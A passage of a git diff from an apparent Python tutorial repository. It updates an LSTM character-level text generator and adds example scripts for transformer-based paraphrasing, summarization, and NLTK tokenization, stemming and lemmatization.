c in element[0].numpy()]), int2char[element[1].numpy()])" + ], + "outputs": [], + "metadata": { + "tags": [ + "outputPrepend", + "outputPrepend", + "outputPrepend", + "outputPrepend" + ] + } + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "for element1, element2 in zip(dataset.take(5), dataset2.take(5)):\r\n", + " print(element1[0].numpy() == element2[0].numpy())\r\n", + " " + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "def one_hot_samples(input_, target):\r\n", + " return tf.one_hot(input_, len(vocab)), tf.one_hot(target, len(vocab))\r\n", + "# return input_, tf.one_hot(target, len(vocab))\r\n", + "\r\n", + "dataset = dataset.map(one_hot_samples)\r\n", + "dataset2 = dataset2.map(one_hot_samples)\r\n", + "for element in dataset.take(10):\r\n", + " print(element[0].shape, element[1].shape)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "ds = dataset.shuffle(1024).batch(BATCH_SIZE, drop_remainder=True).cache().prefetch(1).repeat()\r\n", + "ds2 = dataset2.shuffle(1024).batch(BATCH_SIZE, drop_remainder=True).cache().prefetch(1).repeat()" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "def create_model(vocab_size, embedding_dim, rnn_units, batch_size):\r\n", + " model = tf.keras.Sequential()\r\n", + " # model.add(tf.keras.layers.Embedding(vocab_size, embedding_dim, input_shape=(SEQUENCE_LENGTH,)))\r\n", + " model.add(tf.keras.layers.LSTM(rnn_units, input_shape=(SEQUENCE_LENGTH, len(vocab)), return_sequences=True))\r\n", + " model.add(tf.keras.layers.Dropout(0.3))\r\n", + " model.add(tf.keras.layers.LSTM(rnn_units)),\r\n", + " model.add(tf.keras.layers.Dropout(0.3))\r\n", + " model.add(tf.keras.layers.Dense(vocab_size, activation=\"softmax\"))\r\n", + " return model" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "model = create_model(len(vocab), embedding_dim=EMBEDDING_DIM, rnn_units=128, batch_size=BATCH_SIZE)\r\n", + "model.summary()\r\n", + "model.compile(optimizer=\"adam\", loss=\"categorical_crossentropy\", metrics=[\"accuracy\"])" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "EPOCHS = 5\r\n", + "history = model.fit(ds2, steps_per_epoch=(len(encoded_text) - SEQUENCE_LENGTH ) // BATCH_SIZE, epochs=EPOCHS)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "# save the model\r\n", + "model_path = f\"results/{BASENAME}-{SEQUENCE_LENGTH}-NOEMBEDDING-moredata.h5\"\r\n", + "model.save(model_path)\r\n", + "# model.load_weights(model_path)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "seed = \"\"\"You can be a\"\"\".lower()\r\n", + "s = seed\r\n", + "# generate 400 characters\r\n", + "generated = \"\"\r\n", + "for i in range(200):\r\n", + " # make the input sequence\r\n", + " X = np.zeros((1, SEQUENCE_LENGTH, len(vocab)))\r\n", + " # X = np.zeros((1, SEQUENCE_LENGTH))\r\n", + " for t, char in enumerate(seed):\r\n", + " X[0, (SEQUENCE_LENGTH - len(seed)) + t, char2int[char]] = 1\r\n", + " # predict the next character\r\n", + " predicted = model.predict(X, verbose=0)[0]\r\n", + " # print(predicted)\r\n", + " # converting the vector to an integer\r\n", + " next_index = np.argmax(predicted)\r\n", + "# next_index = np.squeeze(np.round(predicted))\r\n", + " # converting the integer to a character\r\n", + "# print(next_index)\r\n", + " next_char = int2char[next_index]\r\n", + " # add the character to results\r\n", + " generated += next_char\r\n", + " # shift seed and the predicted character\r\n", + " seed = seed[1:] + next_char\r\n", + "\r\n", + "print(\"Generated text:\")\r\n", + "print(s + generated)" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [ + "char2int\r\n" + ], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [], + "outputs": [], + "metadata": {} + }, + { + "cell_type": "code", + "execution_count": null, + "source": [], + "outputs": [], + "metadata": {} + } + ], + "metadata": { + "file_extension": ".py", + "kernelspec": { + "name": "python3", + "display_name": "Python 3.8.7 64-bit" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.7" + }, + "mimetype": "text/x-python", + "name": "python", + "npconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": 3, + "interpreter": { + "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} \ No newline at end of file diff --git a/machine-learning/nlp/text-generator/train.py b/machine-learning/nlp/text-generator/train.py index e2f1e468..940e93d5 100644 --- a/machine-learning/nlp/text-generator/train.py +++ b/machine-learning/nlp/text-generator/train.py @@ -1,62 +1,103 @@ +import tensorflow as tf import numpy as np import os import pickle -from keras.models import Sequential -from keras.layers import Dense, LSTM, Dropout -from keras.callbacks import ModelCheckpoint +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import Dense, LSTM, Dropout +from tensorflow.keras.callbacks import ModelCheckpoint from string import punctuation +sequence_length = 100 +BATCH_SIZE = 128 +EPOCHS = 3 +# dataset file path +FILE_PATH = "data/wonderland.txt" +# FILE_PATH = "data/python_code.py" +BASENAME = os.path.basename(FILE_PATH) + # commented because already downloaded # import requests # content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text # open("data/wonderland.txt", "w", encoding="utf-8").write(content) # read the data -text = open("data/wonderland.txt", encoding="utf-8").read() -# remove caps +text = open(FILE_PATH, encoding="utf-8").read() +# remove caps, comment this code if you want uppercase characters as well text = text.lower() # remove punctuation text = text.translate(str.maketrans("", "", punctuation)) # print some stats n_chars = len(text) -unique_chars = ''.join(sorted(set(text))) -print("unique_chars:", unique_chars) -n_unique_chars = len(unique_chars) +vocab = ''.join(sorted(set(text))) +print("unique_chars:", vocab) +n_unique_chars = len(vocab) print("Number of characters:", n_chars) print("Number of unique characters:", n_unique_chars) # dictionary that converts characters to integers -char2int = {c: i for i, c in enumerate(unique_chars)} +char2int = {c: i for i, c in enumerate(vocab)} # dictionary that converts integers to characters -int2char = {i: c for i, c in enumerate(unique_chars)} +int2char = {i: c for i, c in enumerate(vocab)} # save these dictionaries for later generation -pickle.dump(char2int, open("wonderland-char2int.pickle", "wb")) -pickle.dump(int2char, open("wonderland-int2char.pickle", "wb")) - -# hyper parameters -sequence_length = 100 -step = 1 -batch_size = 128 -epochs = 40 - -sentences = [] -y_train = [] -for i in range(0, len(text) - sequence_length, step): - sentences.append(text[i: i + sequence_length]) - y_train.append(text[i+sequence_length]) -print("Number of sentences:", len(sentences)) - -# vectorization -X = np.zeros((len(sentences), sequence_length, n_unique_chars)) -y = np.zeros((len(sentences), n_unique_chars)) - -for i, sentence in enumerate(sentences): - for t, char in enumerate(sentence): - X[i, t, char2int[char]] = 1 - y[i, char2int[y_train[i]]] = 1 - -print("X.shape:", X.shape) +pickle.dump(char2int, open(f"{BASENAME}-char2int.pickle", "wb")) +pickle.dump(int2char, open(f"{BASENAME}-int2char.pickle", "wb")) + +# convert all text into integers +encoded_text = np.array([char2int[c] for c in text]) +# construct tf.data.Dataset object +char_dataset = tf.data.Dataset.from_tensor_slices(encoded_text) +# print first 5 characters +for char in char_dataset.take(8): + print(char.numpy(), int2char[char.numpy()]) + +# build sequences by batching +sequences = char_dataset.batch(2*sequence_length + 1, drop_remainder=True) + +# print sequences +for sequence in sequences.take(2): + print(''.join([int2char[i] for i in sequence.numpy()])) + +def split_sample(sample): + # example : + # sequence_length is 10 + # sample is "python is a great pro" (21 length) + # ds will equal to ('python is ', 'a') encoded as integers + ds = tf.data.Dataset.from_tensors((sample[:sequence_length], sample[sequence_length])) + for i in range(1, (len(sample)-1) // 2): + # first (input_, target) will be ('ython is a', ' ') + # second (input_, target) will be ('thon is a ', 'g') + # third (input_, target) will be ('hon is a g', 'r') + # and so on + input_ = sample[i: i+sequence_length] + target = sample[i+sequence_length] + # extend the dataset with these samples by concatenate() method + other_ds = tf.data.Dataset.from_tensors((input_, target)) + ds = ds.concatenate(other_ds) + return ds + +# prepare inputs and targets +dataset = sequences.flat_map(split_sample) + +def one_hot_samples(input_, target): + # onehot encode the inputs and the targets + # Example: + # if character 'd' is encoded as 3 and n_unique_chars = 5 + # result should be the vector: [0, 0, 0, 1, 0], since 'd' is the 4th character + return tf.one_hot(input_, n_unique_chars), tf.one_hot(target, n_unique_chars) + + +dataset = dataset.map(one_hot_samples) +# print first 2 samples +for element in dataset.take(2): + print("Input:", ''.join([int2char[np.argmax(char_vector)] for char_vector in element[0].numpy()])) + print("Target:", int2char[np.argmax(element[1].numpy())]) + print("Input shape:", element[0].shape) + print("Target shape:", element[1].shape) + print("="*50, "\n") + +# repeat, shuffle and batch the dataset +ds = dataset.repeat().shuffle(1024).batch(BATCH_SIZE, drop_remainder=True) # building the model # model = Sequential([ @@ -72,7 +113,10 @@ Dense(n_unique_chars, activation="softmax"), ]) -# model.load_weights("results/wonderland-v2-2.48.h5") +# define the model path +model_weights_path = f"results/{BASENAME}-{sequence_length}.h5" +# if os.path.isfile(model_weights_path): +# model.load_weights(model_weights_path) model.summary() model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) @@ -80,7 +124,9 @@ if not os.path.isdir("results"): os.mkdir("results") -checkpoint = ModelCheckpoint("results/wonderland-v2-{loss:.2f}.h5", verbose=1) +# checkpoint = ModelCheckpoint("results/{}-{loss:.2f}.h5".format(BASENAME), verbose=1) # train the model -model.fit(X, y, batch_size=batch_size, epochs=epochs, callbacks=[checkpoint]) +model.fit(ds, steps_per_epoch=(len(encoded_text) - sequence_length) // BATCH_SIZE, epochs=EPOCHS) +# save the model +model.save(model_weights_path) diff --git a/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb b/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb new file mode 100644 index 00000000..55d76df0 --- /dev/null +++ b/machine-learning/nlp/text-paraphrasing/Paraphrasing_with_Transformers_PythonCode.ipynb @@ -0,0 +1,14011 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "pzM7aw7wwXX3", + "outputId": "f51a6e74-ac21-40fd-fe0f-f31141bc2243" + }, + "outputs": [], + "source": [ + "# !pip install transformers sentencepiece" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ISeIFTv3wbBP" + }, + "outputs": [], + "source": [ + "from transformers import *" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "iCFD-rjqm8Mm" + }, + "outputs": [], + "source": [ + "# models we gonna use for this tutorial\n", + "model_names = [\n", + " \"tuner007/pegasus_paraphrase\",\n", + " \"Vamsi/T5_Paraphrase_Paws\",\n", + " \"prithivida/parrot_paraphraser_on_T5\", # Parrot\n", + "]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 177, + "referenced_widgets": [ + "302122ed60be403f8de83d16bb131f01", + "40ca3bd66a3b4a82b3060093f6b30118", + "c6e08dd8a8e9405cbef61c10dbb6c8dc", + "08927ca870534d02b930900d968c8477", + "e031e1ff28e744ec9f9308adbdb7f549", + "936ea713a4ea4682a80cc8e7550739ef", + "8941da5787534cabbc219811e47fbc15", + "a0791b7ccc8c472595f1019ea9ab5d88", + "1f77de9e162c43baa6782c73337d79ad", + "3d72fd07e34240fc805e7ff8e7e8e7ed", + "714869341c534ce5be22daaff1cceeae", + "c3ae604a69604f72a1b22e9106540080", + "1afd91a1d8eb4919beefdac3152f401e", + "818c3e0ab3d9498b98cc26e6df006d6a", + "06bb057f22154f0faebcda40b2dbc861", + "c69a399a0e9f4abc87fdd9959207a88c", + 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"186e5d787132428b9fd34eaff9c38520", + "89b9666f0324479aaa0d9da395c27c16", + "9347ab21cab04cc8a2bffb068aef51a6", + "e052caaf34424ae994cc821acd0a5e54", + "8397c4fa95df4873821d74775b19a153", + "fb8198f88f6a43dbb5d39ec5f353b1af", + "7b9925f38cf149af8fd811f7442d2ae4", + "88555be021d34bcba415e817b9642a5a", + "745e710bf1c240ff995a9f3df04295f0", + "03c01714ba8e4993a24e5e55ec26fd9c", + "486d6ccb92c84634880426d661b6753c", + "ca6c01cae2dd400889111363264abd23", + "b7c0fece997647219a30119d742d3751" + ] + }, + "id": "PgrQWA_2whqN", + "outputId": "54cf6210-d69c-4cc4-a947-261d863568db" + }, + "outputs": [], + "source": [ + "model = PegasusForConditionalGeneration.from_pretrained(\"tuner007/pegasus_paraphrase\")\n", + "tokenizer = PegasusTokenizerFast.from_pretrained(\"tuner007/pegasus_paraphrase\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "hPtX7UCfys__" + }, + "outputs": [], + "source": [ + "def get_paraphrased_sentences(model, tokenizer, sentence, num_return_sequences=5, num_beams=5):\n", + " # tokenize the text to be form of a list of token IDs\n", + " inputs = tokenizer([sentence], truncation=True, padding=\"longest\", return_tensors=\"pt\")\n", + " # generate the paraphrased sentences\n", + " outputs = model.generate(\n", + " **inputs,\n", + " num_beams=num_beams,\n", + " num_return_sequences=num_return_sequences,\n", + " )\n", + " # decode the generated sentences using the tokenizer to get them back to text\n", + " return tokenizer.batch_decode(outputs, skip_special_tokens=True)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "9hG1HJR3Gb0Q" + }, + "outputs": [], + "source": [ + "sentence = \"Learning is the process of acquiring new understanding, knowledge, behaviors, skills, values, attitudes, and preferences.\"" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "6P2tbSy4zdZk", + "outputId": "517c81c8-b7f0-459a-aab7-475212f6f26d" + }, + "outputs": [], + "source": [ + "get_paraphrased_sentences(model, tokenizer, sentence, num_beams=10, num_return_sequences=10)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "4amSI3uw7RlT", + "outputId": "399326f7-0020-4848-dc9b-4950037351bf" + }, + "outputs": [], + "source": [ + "get_paraphrased_sentences(model, tokenizer, \"To paraphrase a source, you have to rewrite a passage without changing the meaning of the original text.\", num_beams=10, num_return_sequences=10)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 177, + "referenced_widgets": [ + "5d248bc4b414420a94a8d630905dfb15", + "d00f7d49a149490492e99ee3f08e21df", + "55a469cc6e524c8ba443e5b5bcf8ff90", + "629521b4d8f34562ac4c082b9d65676f", + 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"8bb25f8e-4cb1-4521-e922-aed91c0adfce" + }, + "outputs": [], + "source": [ + "tokenizer = AutoTokenizer.from_pretrained(\"Vamsi/T5_Paraphrase_Paws\")\n", + "model = AutoModelForSeq2SeqLM.from_pretrained(\"Vamsi/T5_Paraphrase_Paws\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "0ONGGLOMHUtF", + "outputId": "3769280f-a3e0-4a1a-8785-ea8ee220ad3b" + }, + "outputs": [], + "source": [ + "get_paraphrased_sentences(model, tokenizer, \"paraphrase: \" + \"One of the best ways to learn is to teach what you've already learned\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Wzo28toRzhGZ", + "outputId": "dddc20d9-d326-473c-a191-7998f153c8cb" + }, + "outputs": [], + "source": [ + "# !pip install git+https://github.com/PrithivirajDamodaran/Parrot_Paraphraser.git" + ] + }, + { + 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already learned\",\n", + " \"Paraphrasing is the process of coming up with someone else's ideas in your own words\"\n", + "]\n", + "\n", + "for phrase in phrases:\n", + " print(\"-\"*100)\n", + " print(\"Input_phrase: \", phrase)\n", + " print(\"-\"*100)\n", + " paraphrases = parrot.augment(input_phrase=phrase)\n", + " if paraphrases:\n", + " for paraphrase in paraphrases:\n", + " print(paraphrase)" + ] + } + ], + "metadata": { + "colab": { + "collapsed_sections": [], + "name": "Paraphrasing-with-Transformers_PythonCode.ipynb", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "0004381798fc4521b4ae4ef6feeba2f6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": 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+++ b/machine-learning/nlp/text-paraphrasing/paraphrasing_with_transformers_pythoncode.py @@ -0,0 +1,67 @@ +# -*- coding: utf-8 -*- +"""Paraphrasing-with-Transformers_PythonCode.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1bPfvSF7bJqDfw9ZMgfIZPd1Bk-fW7AJY +""" + +!pip install transformers sentencepiece + +from transformers import * + +# models we gonna use for this tutorial +model_names = [ + "tuner007/pegasus_paraphrase", + "Vamsi/T5_Paraphrase_Paws", + "prithivida/parrot_paraphraser_on_T5", # Parrot +] + +model = PegasusForConditionalGeneration.from_pretrained("tuner007/pegasus_paraphrase") +tokenizer = PegasusTokenizerFast.from_pretrained("tuner007/pegasus_paraphrase") + +def get_paraphrased_sentences(model, tokenizer, sentence, num_return_sequences=5, num_beams=5): + # tokenize the text to be form of a list of token IDs + inputs = tokenizer([sentence], truncation=True, padding="longest", return_tensors="pt") + # generate the paraphrased sentences + outputs = model.generate( + **inputs, + num_beams=num_beams, + num_return_sequences=num_return_sequences, + ) + # decode the generated sentences using the tokenizer to get them back to text + return tokenizer.batch_decode(outputs, skip_special_tokens=True) + +sentence = "Learning is the process of acquiring new understanding, knowledge, behaviors, skills, values, attitudes, and preferences." + +get_paraphrased_sentences(model, tokenizer, sentence, num_beams=10, num_return_sequences=10) + +get_paraphrased_sentences(model, tokenizer, "To paraphrase a source, you have to rewrite a passage without changing the meaning of the original text.", num_beams=10, num_return_sequences=10) + +tokenizer = AutoTokenizer.from_pretrained("Vamsi/T5_Paraphrase_Paws") +model = AutoModelForSeq2SeqLM.from_pretrained("Vamsi/T5_Paraphrase_Paws") + +get_paraphrased_sentences(model, tokenizer, "paraphrase: " + "One of the best ways to learn is to teach what you've already learned") + +!pip install git+https://github.com/PrithivirajDamodaran/Parrot_Paraphraser.git + +from parrot import Parrot + +parrot = Parrot() + +phrases = [ + sentence, + "One of the best ways to learn is to teach what you've already learned", + "Paraphrasing is the process of coming up with someone else's ideas in your own words" +] + +for phrase in phrases: + print("-"*100) + print("Input_phrase: ", phrase) + print("-"*100) + paraphrases = parrot.augment(input_phrase=phrase) + if paraphrases: + for paraphrase in paraphrases: + print(paraphrase) + diff --git a/machine-learning/nlp/text-paraphrasing/requirements.txt b/machine-learning/nlp/text-paraphrasing/requirements.txt new file mode 100644 index 00000000..8851b9f2 --- /dev/null +++ b/machine-learning/nlp/text-paraphrasing/requirements.txt @@ -0,0 +1,2 @@ +transformers +sentencepiece \ No newline at end of file diff --git a/machine-learning/nlp/text-summarization/README.md b/machine-learning/nlp/text-summarization/README.md new file mode 100644 index 00000000..934a1a42 --- /dev/null +++ b/machine-learning/nlp/text-summarization/README.md @@ -0,0 +1,5 @@ +# [How to Perform Text Summarization using Transformers in Python](https://www.thepythoncode.com/article/text-summarization-using-huggingface-transformers-python) +To run this: +- `pip3 install -r requirements.txt` +- To use `pipeline` API, use the `using_pipeline.py` script. +- For more customization, check out `using_t5.py` \ No newline at end of file diff --git a/machine-learning/nlp/text-summarization/requirements.txt b/machine-learning/nlp/text-summarization/requirements.txt new file mode 100644 index 00000000..4803a9a0 --- /dev/null +++ b/machine-learning/nlp/text-summarization/requirements.txt @@ -0,0 +1,2 @@ +transformers +torch \ No newline at end of file diff --git a/machine-learning/nlp/text-summarization/using_pipeline.py b/machine-learning/nlp/text-summarization/using_pipeline.py new file mode 100644 index 00000000..a3d5ee3c --- /dev/null +++ b/machine-learning/nlp/text-summarization/using_pipeline.py @@ -0,0 +1,30 @@ +from transformers import pipeline + +# using pipeline API for summarization task +summarization = pipeline("summarization") +original_text = """ +Paul Walker is hardly the first actor to die during a production. +But Walker's death in November 2013 at the age of 40 after a car crash was especially eerie given his rise to fame in the "Fast and Furious" film franchise. +The release of "Furious 7" on Friday offers the opportunity for fans to remember -- and possibly grieve again -- the man that so many have praised as one of the nicest guys in Hollywood. +"He was a person of humility, integrity, and compassion," military veteran Kyle Upham said in an email to CNN. +Walker secretly paid for the engagement ring Upham shopped for with his bride. +"We didn't know him personally but this was apparent in the short time we spent with him. +I know that we will never forget him and he will always be someone very special to us," said Upham. +The actor was on break from filming "Furious 7" at the time of the fiery accident, which also claimed the life of the car's driver, Roger Rodas. +Producers said early on that they would not kill off Walker's character, Brian O'Connor, a former cop turned road racer. Instead, the script was rewritten and special effects were used to finish scenes, with Walker's brothers, Cody and Caleb, serving as body doubles. +There are scenes that will resonate with the audience -- including the ending, in which the filmmakers figured out a touching way to pay tribute to Walker while "retiring" his character. At the premiere Wednesday night in Hollywood, Walker's co-star and close friend Vin Diesel gave a tearful speech before the screening, saying "This movie is more than a movie." "You'll feel it when you see it," Diesel said. "There's something emotional that happens to you, where you walk out of this movie and you appreciate everyone you love because you just never know when the last day is you're gonna see them." There have been multiple tributes to Walker leading up to the release. Diesel revealed in an interview with the "Today" show that he had named his newborn daughter after Walker. +Social media has also been paying homage to the late actor. A week after Walker's death, about 5,000 people attended an outdoor memorial to him in Los Angeles. Most had never met him. Marcus Coleman told CNN he spent almost $1,000 to truck in a banner from Bakersfield for people to sign at the memorial. "It's like losing a friend or a really close family member ... even though he is an actor and we never really met face to face," Coleman said. "Sitting there, bringing his movies into your house or watching on TV, it's like getting to know somebody. It really, really hurts." Walker's younger brother Cody told People magazine that he was initially nervous about how "Furious 7" would turn out, but he is happy with the film. "It's bittersweet, but I think Paul would be proud," he said. CNN's Paul Vercammen contributed to this report. +""" +summary_text = summarization(original_text)[0]['summary_text'] +print("Summary:", summary_text) +print("="*50) +# another example +original_text = """ +For the first time in eight years, a TV legend returned to doing what he does best. +Contestants told to "come on down!" on the April 1 edition of "The Price Is Right" encountered not host Drew Carey but another familiar face in charge of the proceedings. +Instead, there was Bob Barker, who hosted the TV game show for 35 years before stepping down in 2007. +Looking spry at 91, Barker handled the first price-guessing game of the show, the classic "Lucky Seven," before turning hosting duties over to Carey, who finished up. +Despite being away from the show for most of the past eight years, Barker didn't seem to miss a beat. +""" +summary_text = summarization(original_text)[0]['summary_text'] +print("Summary:", summary_text) \ No newline at end of file diff --git a/machine-learning/nlp/text-summarization/using_t5.py b/machine-learning/nlp/text-summarization/using_t5.py new file mode 100644 index 00000000..b07cdc07 --- /dev/null +++ b/machine-learning/nlp/text-summarization/using_t5.py @@ -0,0 +1,25 @@ +from transformers import T5ForConditionalGeneration, T5Tokenizer + +# initialize the model architecture and weights +model = T5ForConditionalGeneration.from_pretrained("t5-base") +# initialize the model tokenizer +tokenizer = T5Tokenizer.from_pretrained("t5-base") +article = """ +Justin Timberlake and Jessica Biel, welcome to parenthood. +The celebrity couple announced the arrival of their son, Silas Randall Timberlake, in statements to People. +"Silas was the middle name of Timberlake's maternal grandfather Bill Bomar, who died in 2012, while Randall is the musician's own middle name, as well as his father's first," People reports. +The couple announced the pregnancy in January, with an Instagram post. It is the first baby for both. +""" +# encode the text into tensor of integers using the appropriate tokenizer +inputs = tokenizer.encode("summarize: " + article, return_tensors="pt", max_length=512, truncation=True) +# generate the summarization output +outputs = model.generate( + inputs, + max_length=150, + min_length=40, + length_penalty=2.0, + num_beams=4, + early_stopping=True) +# just for debugging +print(outputs) +print(tokenizer.decode(outputs[0])) \ No newline at end of file diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/README.md b/machine-learning/nlp/tokenization-stemming-lemmatization/README.md new file mode 100644 index 00000000..f9ba5ebb --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/README.md @@ -0,0 +1 @@ +# [Tokenization, Stemming, and Lemmatization in Python](https://www.thepythoncode.com/article/tokenization-stemming-and-lemmatization-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/example1_splitting_by_whitespace.py b/machine-learning/nlp/tokenization-stemming-lemmatization/example1_splitting_by_whitespace.py new file mode 100644 index 00000000..060ca599 --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/example1_splitting_by_whitespace.py @@ -0,0 +1,3 @@ +s = "Hello I am programmer" +lst = s.split() +print(lst) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/example2_splitting_by_comma.py b/machine-learning/nlp/tokenization-stemming-lemmatization/example2_splitting_by_comma.py new file mode 100644 index 00000000..010d294f --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/example2_splitting_by_comma.py @@ -0,0 +1,3 @@ +s = "Hello, I am programmer" +lst = s.split(',') +print(lst) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/example3_splitting_by_whitespace.py b/machine-learning/nlp/tokenization-stemming-lemmatization/example3_splitting_by_whitespace.py new file mode 100644 index 00000000..4a8cac42 --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/example3_splitting_by_whitespace.py @@ -0,0 +1,11 @@ +def tokenize(file): + tok = [] + f = open(file, 'r') + for l in f: + lst = l.split() + tok.append(lst) + return tok + +tokens = tokenize('reviews.txt') +for e in tokens: + print(e) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/part_of_speech_tagging.py b/machine-learning/nlp/tokenization-stemming-lemmatization/part_of_speech_tagging.py new file mode 100644 index 00000000..7f134e2b --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/part_of_speech_tagging.py @@ -0,0 +1,28 @@ +import nltk +from nltk.corpus import wordnet +from nltk.stem import WordNetLemmatizer + +word_lst = [] +def lemmatizer(file): + lem_lst = [] + lem = WordNetLemmatizer() + f = open(file, 'r') + for l in f: + word_lst.append(l.strip()) + w = lem.lemmatize(str(l.strip())) + lem_lst.append(w) + return lem_lst + +def generate_tag(w): + t = nltk.pos_tag([w])[0][1][0].upper() + dic = { + 'N': wordnet.NOUN, + 'V': wordnet.VERB, + 'A': wordnet.ADJ, + 'R': wordnet.ADV + } + return dic.get(t, wordnet.VERB) + +lem_lst = lemmatizer('reviews.txt') +for i in range(len(word_lst)): + print(word_lst[i]+"-->"+lem_lst[i]) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/port_stemmer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/port_stemmer.py new file mode 100644 index 00000000..ee46d37b --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/port_stemmer.py @@ -0,0 +1,16 @@ +from nltk.stem import PorterStemmer + +word_lst = [] +def stemmer(file): + stm_lst = [] + stm = PorterStemmer() + f = open(file, 'r') + for l in f: + word_lst.append(l) + w = stm.stem(str(l.strip())) + stm_lst.append(w) + return stm_lst + +stm_lst = stemmer('reviews.txt') +for i in range(len(word_lst)): + print(word_lst[i]+"-->"+stm_lst[i]) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/requirements.txt b/machine-learning/nlp/tokenization-stemming-lemmatization/requirements.txt new file mode 100644 index 00000000..6389271e --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/requirements.txt @@ -0,0 +1,5 @@ +textblob +nltk +huggingface +tokenizers +transformers \ No newline at end of file diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/reviews.txt b/machine-learning/nlp/tokenization-stemming-lemmatization/reviews.txt new file mode 100644 index 00000000..5f2bd261 --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/reviews.txt @@ -0,0 +1,4 @@ +The restaurant has a good staff, good food, and a good environment. +It is a good place for family outings. Hospitable staff. +The staff is better than other places, but the food is okay. +People are great here. I loved this place. diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/sentence_tokenization_nltk.py b/machine-learning/nlp/tokenization-stemming-lemmatization/sentence_tokenization_nltk.py new file mode 100644 index 00000000..150bfed2 --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/sentence_tokenization_nltk.py @@ -0,0 +1,13 @@ +from nltk import sent_tokenize + +def tokenize(file): + tok = [] + f = open(file, 'r') + for l in f: + lst = sent_tokenize(l) + tok.append(lst) + return tok + +tokens = tokenize('reviews.txt') +for e in tokens: + print(e) diff --git a/machine-learning/nlp/tokenization-stemming-lemmatization/snowball_stemmer.py b/machine-learning/nlp/tokenization-stemming-lemmatization/snowball_stemmer.py new file mode 100644 index 00000000..378fa82d --- /dev/null +++ b/machine-learning/nlp/tokenization-stemming-lemmatization/snowball_stemmer.py @@ -0,0 +1,16 @@ +from nltk.stem.snowball import SnowballStemmer + +word_lst = [] +def stemmer(file): + stm_lst = [] + stm = SnowballStemmer(language='english') + f = open(file, 'r') + for l in f: + word_lst.append(l) + w = stm.stem(str(l.strip())) + stm_lst.append(w) + return stm_lst + +stm_lst = stemmer('reviews.txt') +for i in range(len(word_lst)): + print(word_lst[i]+"-->"+stm_lst[i]) diff --git 